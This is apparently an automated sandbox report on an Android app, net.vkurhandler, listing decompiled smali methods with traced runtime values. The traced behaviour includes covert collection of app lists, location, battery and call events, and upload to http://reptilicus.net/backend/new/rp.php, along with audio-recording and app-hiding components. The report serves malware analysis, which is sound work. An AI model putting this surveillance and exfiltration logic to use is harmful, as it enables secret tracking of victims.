                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                      • Return:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • Time: 1412170
                      • This:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                      • Return:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    7move-result-object v2
                    9invoke-virtual {v0, v1, v2}, Lcom/a/a/a/v;->b(Ljava/lang/String;Ljava/lang/String;)V
                    11invoke-static {p0}, Lnet/vkurhandler/eb;->a(Landroid/content/Context;)Ljava/lang/String;
                    12move-result-object v1
                    13sget v2, Lnet/vkurhandler/ea;->b:I
                    15invoke-static {p0, v1, v2, v0, p2}, Lnet/vkurhandler/ea;->c(Landroid/content/Context;Ljava/lang/String;ILcom/a/a/a/v;Lcom/a/a/a/h;)V
                    16return-void
                    Cross References
                    APIs
                    • java.lang.Thread.<init>
                    • java.lang.Thread.start
                    Strings
                    • TcpConnector
                    • start
                    Position Instruction Meta Information
                    0iget-boolean v0, p0, Lnet/vkurhandler/gj;->a:Z
                    1if-eqz v0, :cond_5
                    2goto_4: return-void
                    3cond_5: const/4 v0, 0x1
                    4iput-boolean v0, p0, Lnet/vkurhandler/gj;->a:Z
                    6invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1271967
                      • Return:
                        • true
                    7move-result v0
                    8if-eqz v0, :cond_15
                    10const-string v0, "TcpConnector"
                    12const-string v1, "start"
                    14invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    15cond_15: new-instance v0, Ljava/lang/Thread;
                    16new-instance v1, Lnet/vkurhandler/gk;
                    18invoke-direct {v1, p0}, Lnet/vkurhandler/gk;-><init>(Lnet/vkurhandler/gj;)V
                    20invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                    22invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                    23goto/16 :goto_4
                    Cross References
                    APIs
                    • android.content.IntentFilter.<init>
                    • android.content.Context.registerReceiver
                    • android.content.Intent.getIntExtra
                    Strings
                    • android.intent.action.BATTERY_CHANGED
                    • status
                    Position Instruction Meta Information
                    0new-instance v0, Landroid/content/IntentFilter;
                    2const-string v1, "android.intent.action.BATTERY_CHANGED"
                    4invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V
                    6iget-object v1, p0, Lnet/vkurhandler/ce;->a:Landroid/content/Context;
                    7const/4 v2, 0x0
                    9invoke-virtual {v1, v2, v0}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                    • Time: 1402463
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: null
                      • p1: android.content.IntentFilter@24249d0
                      • p1.getAction0: android.intent.action.BATTERY_CHANGED
                      • Return:
                        • Intent { act=android.intent.action.BATTERY_CHANGED flg=0x60000010 (has extras) }
                    10move-result-object v0
                    12const-string v1, "status"
                    13const/4 v2, -0x1
                    15invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                    16move-result v0
                    17packed-switch v0, :pswitch_data_1c
                    18pswitch_18: const/4 v0, 0x0
                    19goto_19: return v0
                    20pswitch_1a: const/4 v0, 0x1
                    21goto/16 :goto_19
                    Cross References
                    APIs
                    • java.lang.Object.<init>
                    • android.content.Context.getSystemService
                    • net.vkurhandler.db.a:Lnet/vkurhandler/db
                    Strings
                    • location
                    • network
                    • gps
                    Position Instruction Meta Information
                    1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                    2iput-object p1, p0, Lnet/vkurhandler/da;->g:Landroid/content/Context;
                    4const-string v0, "location"
                    6invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    • Time: 1271851
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: location
                      • Return:
                        • android.location.LocationManager@684f5cb
                    7move-result-object v0
                    8check-cast v0, Landroid/location/LocationManager;
                    9iput-object v0, p0, Lnet/vkurhandler/da;->a:Landroid/location/LocationManager;
                    11sget-object v0, Lnet/vkurhandler/db;->a:Lnet/vkurhandler/db;
                    12if-ne p2, v0, :cond_18
                    14const-string v0, "network"
                    15iput-object v0, p0, Lnet/vkurhandler/da;->b:Ljava/lang/String;
                    16goto_17: return-void
                    17cond_18:
                    18const-string v0, "gps"
                    19iput-object v0, p0, Lnet/vkurhandler/da;->b:Ljava/lang/String;
                    20goto/16 :goto_17
                    Cross References
                    APIs
                    • java.util.List.size
                    • java.util.List.add
                    • java.util.List.get
                    • java.util.List.get
                    Position Instruction Meta Information
                    0const/4 v1, 0x0
                    2sget-object v3, Lnet/vkurhandler/be;->c:Ljava/util/List;
                    3monitor-enter v3
                    4const/4 v0, 0x0
                    5move v2, v0
                    6try_start_6:
                    7sget-object v0, Lnet/vkurhandler/be;->c:Ljava/util/List;
                    9invoke-interface {v0}, Ljava/util/List;->size()I
                    10move-result v0
                    11if-lt v2, v0, :cond_20
                    12move-object v0, v1
                    13goto_f: if-nez v0, :cond_1b
                    14new-instance v0, Lnet/vkurhandler/be;
                    16invoke-direct {v0}, Lnet/vkurhandler/be;-><init>()V
                    18sget-object v1, Lnet/vkurhandler/be;->c:Ljava/util/List;
                    20invoke-interface {v1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                    21cond_1b:
                    22invoke-virtual {v0}, Lnet/vkurhandler/be;->h()V
                    23monitor-exit v3
                    24return-object v0
                    25cond_20:
                    26sget-object v0, Lnet/vkurhandler/be;->c:Ljava/util/List;
                    28invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                    29move-result-object v0
                    30check-cast v0, Lnet/vkurhandler/be;
                    32invoke-virtual {v0}, Lnet/vkurhandler/be;->f()Z
                    • Time: 1274796
                      • This:
                        • ""
                      • Return:
                        • true
                    • Time: 1402436
                      • This:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                      • Return:
                        • false
                    33move-result v0
                    34if-nez v0, :cond_37
                    36sget-object v0, Lnet/vkurhandler/be;->c:Ljava/util/List;
                    38invoke-interface {v0, v2}, Ljava/util/List;->get(I)Ljava/lang/Object;
                    39move-result-object v0
                    40check-cast v0, Lnet/vkurhandler/be;
                    41goto/16 :goto_f
                    42cond_37: add-int/lit8 v0, v2, 0x1
                    43move v2, v0
                    44goto/16 :goto_6
                    45catchall_3b: move-exception v0
                    46monitor-exit v3
                    47try_end_3d: throw v0
                    APIs
                    • android.app.Activity.onCreate
                    • net.vkurhandler.FakeActivity.getApplicationContext
                    • android.content.Intent.<init>
                    • net.vkurhandler.FakeActivity.startActivity
                    • net.vkurhandler.FakeActivity.finish
                    Position Instruction Meta Information
                    1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                    2new-instance v0, Landroid/content/Intent;
                    4invoke-virtual {p0}, Lnet/vkurhandler/FakeActivity;->getApplicationContext()Landroid/content/Context;
                    • Time: 1274897
                      • This:
                        • net.vkurhandler.FakeActivity@4be681f
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    5move-result-object v1
                    6const-class v2, Lnet/vkurhandler/MainActivity;
                    8invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    10invoke-virtual {p0, v0}, Lnet/vkurhandler/FakeActivity;->startActivity(Landroid/content/Intent;)V
                    • Time: 1274960
                      • This:
                        • net.vkurhandler.FakeActivity@4be681f
                      • intent: Intent { cmp=net.vkurhandler/.MainActivity }
                    12invoke-virtual {p0}, Lnet/vkurhandler/FakeActivity;->finish()V
                    13return-void
                    Cross References
                    APIs
                    • android.text.TextUtils.isEmpty
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • org.json.JSONObject.<init>
                    Strings
                    • {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                    Position Instruction Meta Information
                    1invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    2move-result v0
                    3if-eqz v0, :cond_14
                    5invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    6move-result-object v0
                    7const/4 v1, 0x0
                    9invoke-static {v0, v1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Landroid/location/Location;)Lnet/vkurhandler/be;
                    10move-result-object v0
                    12invoke-virtual {v0}, Lnet/vkurhandler/be;->d()Lorg/json/JSONObject;
                    13move-result-object v0
                    14goto_13: return-object v0
                    15cond_14: new-instance v0, Lorg/json/JSONObject;
                    17invoke-direct {v0, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    • Time: 1412158
                      • p0: {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                      • Return:
                        • {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                    18goto/16 :goto_13
                    Cross References
                    APIs
                    • org.json.JSONObject.toString
                    Strings
                    • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                    • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                    • {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                    Position Instruction Meta Information
                    1invoke-virtual {p0}, Lnet/vkurhandler/be;->d()Lorg/json/JSONObject;
                    2move-result-object v0
                    4invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                    • Time: 1276337
                      • This:
                        • {}
                      • Return:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                    • Time: 1402501
                      • This:
                        • {}
                      • Return:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                    • Time: 1410663
                      • This:
                        • {}
                      • Return:
                        • {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                    5move-result-object v0
                    6return-object v0
                    Cross References
                    APIs
                    • java.lang.Thread.currentThread
                    • java.lang.Thread.isInterrupted
                    • android.os.Handler.sendMessage
                    Position Instruction Meta Information
                    1invoke-virtual {p0}, Lcom/a/a/a/h;->a()Z
                    • Time: 1274809
                      • This:
                        • net.vkurhandler.gb@f88046e
                      • Return:
                        • true
                    2move-result v0
                    3if-nez v0, :cond_a
                    5iget-object v0, p0, Lcom/a/a/a/h;->b:Landroid/os/Handler;
                    6if-nez v0, :cond_e
                    7cond_a:
                    8invoke-virtual {p0, p1}, Lcom/a/a/a/h;->a(Landroid/os/Message;)V
                    9goto_d: return-void
                    10cond_e:
                    11invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                    12move-result-object v0
                    14invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z
                    15move-result v0
                    16if-nez v0, :cond_d
                    18iget-object v0, p0, Lcom/a/a/a/h;->b:Landroid/os/Handler;
                    20invoke-virtual {v0, p1}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
                    21goto/16 :goto_d
                    Cross References
                    APIs
                    • android.content.Intent.getAction
                    • java.lang.String.equalsIgnoreCase
                    Strings
                    • android.intent.action.NEW_OUTGOING_CALL
                    Position Instruction Meta Information
                    1const-string v0, "android.intent.action.NEW_OUTGOING_CALL"
                    3invoke-virtual {p0}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                    • Time: 1428424
                      • This:
                        • Intent { act=android.intent.action.NEW_OUTGOING_CALL (has extras) }
                      • Return:
                        • android.intent.action.NEW_OUTGOING_CALL
                    4move-result-object v1
                    6invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                    • Time: 1428427
                      • This:
                        • android.intent.action.NEW_OUTGOING_CALL
                      • p0: android.intent.action.NEW_OUTGOING_CALL
                      • Return:
                        • true
                    7move-result v0
                    8return v0
                    Cross References
                    APIs
                    • java.lang.System.currentTimeMillis
                    • android.content.Intent.<init>
                    • android.content.Context.startService
                    Position Instruction Meta Information
                    1invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    2move-result-wide v0
                    3sget-wide v2, Lnet/vkurhandler/DispatchService;->a:J
                    4sub-long v2, v0, v2
                    5const-wide/16 v4, 0x2710
                    6cmp-long v2, v2, v4
                    7if-lez v2, :cond_1e
                    8sput-wide v0, Lnet/vkurhandler/DispatchService;->a:J
                    9const/4 v0, 0x0
                    10sput-boolean v0, Lnet/vkurhandler/DispatchService;->b:Z
                    11new-instance v0, Landroid/content/Intent;
                    12const-class v1, Lnet/vkurhandler/DispatchService;
                    14invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    16invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    • Time: 1276381
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: Intent { cmp=net.vkurhandler/.DispatchService }
                      • Return:
                        • ComponentInfo{net.vkurhandler/net.vkurhandler.DispatchService}
                    17goto_1d: return-void
                    18cond_1e: const/4 v0, 0x1
                    19sput-boolean v0, Lnet/vkurhandler/DispatchService;->b:Z
                    20goto/16 :goto_1d
                    Cross References
                    APIs
                    • android.location.LocationManager.removeUpdates
                    Strings
                    • ProviderLocationTracker
                    Position Instruction Meta Information
                    0const/4 v3, 0x0
                    1const/4 v2, 0x0
                    2try_start_2: iget-boolean v0, p0, Lnet/vkurhandler/da;->e:Z
                    3if-eqz v0, :cond_b
                    5iget-object v0, p0, Lnet/vkurhandler/da;->a:Landroid/location/LocationManager;
                    7invoke-virtual {v0, p0}, Landroid/location/LocationManager;->removeUpdates(Landroid/location/LocationListener;)V
                    • Time: 1410409
                      • This:
                        • android.location.LocationManager@684f5cb
                      • p0: net.vkurhandler.da@aa3e594
                    • Time: 1410426
                      • This:
                        • android.location.LocationManager@684f5cb
                      • p0: net.vkurhandler.da@3a3c700
                    8cond_b: iput-boolean v2, p0, Lnet/vkurhandler/da;->e:Z
                    9iput-object v3, p0, Lnet/vkurhandler/da;->f:Lnet/vkurhandler/bk;
                    10goto_f: return-void
                    11catch_10: move-exception v0
                    12try_start_11:
                    13const-string v1, "ProviderLocationTracker"
                    15invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    16try_end_16: iput-boolean v2, p0, Lnet/vkurhandler/da;->e:Z
                    17iput-object v3, p0, Lnet/vkurhandler/da;->f:Lnet/vkurhandler/bk;
                    18goto/16 :goto_f
                    19catchall_1b: move-exception v0
                    20iput-boolean v2, p0, Lnet/vkurhandler/da;->e:Z
                    21iput-object v3, p0, Lnet/vkurhandler/da;->f:Lnet/vkurhandler/bk;
                    22throw v0
                    APIs
                    • org.apache.http.client.methods.HttpGet.<init>
                    Strings
                    • http://reptilicus.net/backend/new/rp.php
                    Position Instruction Meta Information
                    1iget-object v1, p0, Lcom/a/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient;
                    3iget-object v2, p0, Lcom/a/a/a/a;->d:Lorg/apache/http/protocol/HttpContext;
                    4new-instance v3, Lorg/apache/http/client/methods/HttpGet;
                    5iget-boolean v0, p0, Lcom/a/a/a/a;->h:Z
                    7invoke-static {v0, p2, p3}, Lcom/a/a/a/a;->a(ZLjava/lang/String;Lcom/a/a/a/v;)Ljava/lang/String;
                    8move-result-object v0
                    10invoke-direct {v3, v0}, Lorg/apache/http/client/methods/HttpGet;-><init>(Ljava/lang/String;)V
                    • Time: 1274782
                      • p0: http://reptilicus.net/backend/new/rp.php
                      • Return:
                        • org.apache.http.client.methods.HttpGet@cd11e58
                        • getURI: http://reptilicus.net/backend/new/rp.php
                    11const/4 v4, 0x0
                    12move-object v0, p0
                    13move-object v5, p4
                    14move-object v6, p1
                    16invoke-virtual/range {v0 .. v6}, Lcom/a/a/a/a;->b(Lorg/apache/http/impl/client/DefaultHttpClient;Lorg/apache/http/protocol/HttpContext;Lorg/apache/http/client/methods/HttpUriRequest;Ljava/lang/String;Lcom/a/a/a/y;Landroid/content/Context;)Lcom/a/a/a/u;
                    17move-result-object v0
                    18return-object v0
                    Cross References
                    APIs
                    • android.content.Context.getSystemService
                    Strings
                    • activity
                    Position Instruction Meta Information
                    1const-string v0, "activity"
                    3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    • Time: 1273019
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: activity
                      • Return:
                        • android.app.ActivityManager@1a52a4c
                    4move-result-object v0
                    5check-cast v0, Landroid/app/ActivityManager;
                    6return-object v0
                    Cross References
                    APIs
                    • android.content.Intent.<init>
                    • android.content.Context.startService
                    Position Instruction Meta Information
                    0new-instance v0, Landroid/content/Intent;
                    1const-class v1, Lnet/vkurhandler/Optimizer;
                    3invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    5invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                    • Time: 1271811
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • p0: Intent { cmp=net.vkurhandler/.Optimizer }
                      • Return:
                        • ComponentInfo{net.vkurhandler/net.vkurhandler.Optimizer}
                    6return-void

                    124 Non-Executed Methods

                    Cross References
                    APIs
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.toString
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.AudiorecordEnvironmentSchedule.b
                    • java.lang.String.equals
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.toString
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.MyApp.x
                    • java.lang.String.equals
                    • java.lang.String.split
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Integer.parseInt
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Long.parseLong
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Boolean.parseBoolean
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.Float.parseFloat
                    • android.content.SharedPreferences$Editor.putFloat
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • java.lang.String.equals
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.split
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.split
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.f
                    • java.lang.String.split
                    • java.lang.Integer.parseInt
                    • java.lang.Integer.parseInt
                    • java.lang.Integer.parseInt
                    • java.lang.Integer.parseInt
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • java.lang.String.split
                    • java.lang.String.equalsIgnoreCase
                    • java.lang.String.equalsIgnoreCase
                    • java.lang.String.equals
                    • java.lang.String.split
                    • java.lang.String.equalsIgnoreCase
                    • java.lang.String.equalsIgnoreCase
                    • java.lang.Integer.parseInt
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.LocationNotifier.b
                    • java.lang.String.equals
                    • android.net.wifi.WifiManager.setWifiEnabled
                    • java.lang.String.equals
                    • android.net.wifi.WifiManager.setWifiEnabled
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.v
                    • java.lang.Boolean.booleanValue
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.v
                    • java.lang.Boolean.booleanValue
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.au.a:Lnet/vkurhandler/au
                    • java.lang.String.valueOf
                    • java.lang.String.equals
                    • android.content.Context.getPackageName
                    • android.content.Context.getPackageName
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.content.ComponentName.<init>
                    • android.content.Context.getPackageManager
                    • android.content.pm.PackageManager.setComponentEnabledSetting
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.Context.getPackageName
                    • android.content.Context.getPackageName
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.content.ComponentName.<init>
                    • android.content.Context.getPackageManager
                    • android.content.pm.PackageManager.setComponentEnabledSetting
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.MyApp.w
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.f
                    • android.content.SharedPreferences.getLong
                    • java.lang.System.currentTimeMillis
                    • java.lang.System.currentTimeMillis
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.AudiorecordSplitter.b
                    • net.vkurhandler.AudiorecordEnvironmentEndDetector.a
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.AudiorecordEnvironmentEndDetector.a
                    • net.vkurhandler.MyApp.f
                    • java.lang.String.equals
                    • android.content.Intent.<init>
                    • android.content.Intent.putExtra
                    • android.content.Context.startService
                    • java.lang.String.equals
                    • android.content.Intent.<init>
                    • android.content.Intent.putExtra
                    • android.content.Context.startService
                    • java.lang.String.equals
                    • android.content.Intent.<init>
                    • android.content.Intent.putExtra
                    • android.content.Context.startService
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.length
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.String.equals
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
